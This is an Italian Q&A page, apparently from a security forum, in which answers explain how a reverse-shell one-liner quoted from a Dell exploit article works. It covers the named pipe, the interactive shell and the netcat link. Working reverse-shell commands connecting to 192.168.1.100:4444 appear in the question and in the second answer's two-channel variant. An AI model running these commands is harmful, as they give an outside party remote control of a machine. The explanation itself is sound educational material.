Can pipe | shell | tubo nc ottenere shell remota?

1

In uno degli articoli mi sono imbattuto in un exploit di dispositivi Dell che diceva che quando si attiva la seguente riga di codice (eseguita da qualche parte in PHP) si otterrà una shell di root remota:

mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.100 4444 >/tmp/f

Capisco la parte che con la creazione del fifo pipe e la sua piping su bash possiamo inviare comandi shell su quel pipe ma perché ridurlo a nc e poi reindirizzare il comando a questa pipe di nuovo?

    
posta Patryk 14.03.2014 - 02:18
fonte

2 risposte

3

Questo codice si aspetta che ci sia un server (ad esempio una copia di nc in modalità server) in ascolto sulla porta 4444 di 192.168.1.100. Quando lo esegui, qualsiasi output dal server diventa input per la shell; viceversa, l'output dalla shell diventa input per il server. Rompendo il comando in pezzi per facilitarne la comprensione,

mkfifo /tmp/f; : crea una named pipe.

cat /tmp/f|/bin/sh -i : crea una shell interattiva sul computer locale e aggancia l'output della pipe all'input della shell.

2>&1|nc 192.168.1.100 4444 : questo prende l'output della shell e lo invia attraverso la rete a una macchina in ascolto sulla porta 4444 a 192.168.1.100.

>/tmp/f : prende l'output di nc (cioè i dati inviati dalla macchina remota) e lo invia all'ingresso della named pipe, dove diventa input per la shell.

In una normale pipeline di comandi Unix, l'output di comandi precedenti può diventare input per quelli successivi, ma non viceversa e una shell remota può essere solo unidirezionale (è possibile inviare comandi ma non ottenere output o ottenere output ma non inviare comandi). L'utilizzo di una named pipe ti consente di aggirare questo limite e creare una shell remota bidirezionale. Se sei incline geometricamente, puoi pensare a una normale pipeline come una linea retta e al costrutto named pipe che hai trovato come una cerchia.

    
risposta data 14.03.2014 - 05:08
fonte
2

Questa sembra essere una shell inversa che crea una shell locale (cioè, /bin/sh -i ) e rimanda l'output a 192.168.1.100:4444 (cioè, nc 192.168.1.100 4444 ):

+-----------------+      +-----------------------+
| /bin/sh -i 2>&1 |----->| nc 192.168.1.100 4444 |
+-----------------+      +-----------------------+

Ora ciò che manca qui è l'output di quest'ultimo comando che viene reindirizzato come input alla shell. E poiché il pipe shell | può solo reindirizzare l'output al comando che lo segue, un pipe / FIFO named viene utilizzato per connettere le estremità libere:

+------------+      +-----------------+      +-----------------------+
| cat /tmp/f |----->| /bin/sh -i 2>&1 |----->| nc 192.168.1.100 4444 |
+------------+      +-----------------+      +-----------------------+
       ^                                                  v
       +------------------ /tmp/f <-----------------------+

Da ciò l'output di nc 192.168.1.100 4444 diventa l'input per /bin/sh -i .

Se vuoi fare questo senza il named pipe / fifo, avrai bisogno di due nc canali, uno per l'input della shell e uno per l'output della shell:

nc 192.168.1.100 4444 | /bin/sh -i 2>&1 | nc 192.168.1.100 4445
    
risposta data 14.03.2014 - 07:44
fonte

Leggi altre domande sui tag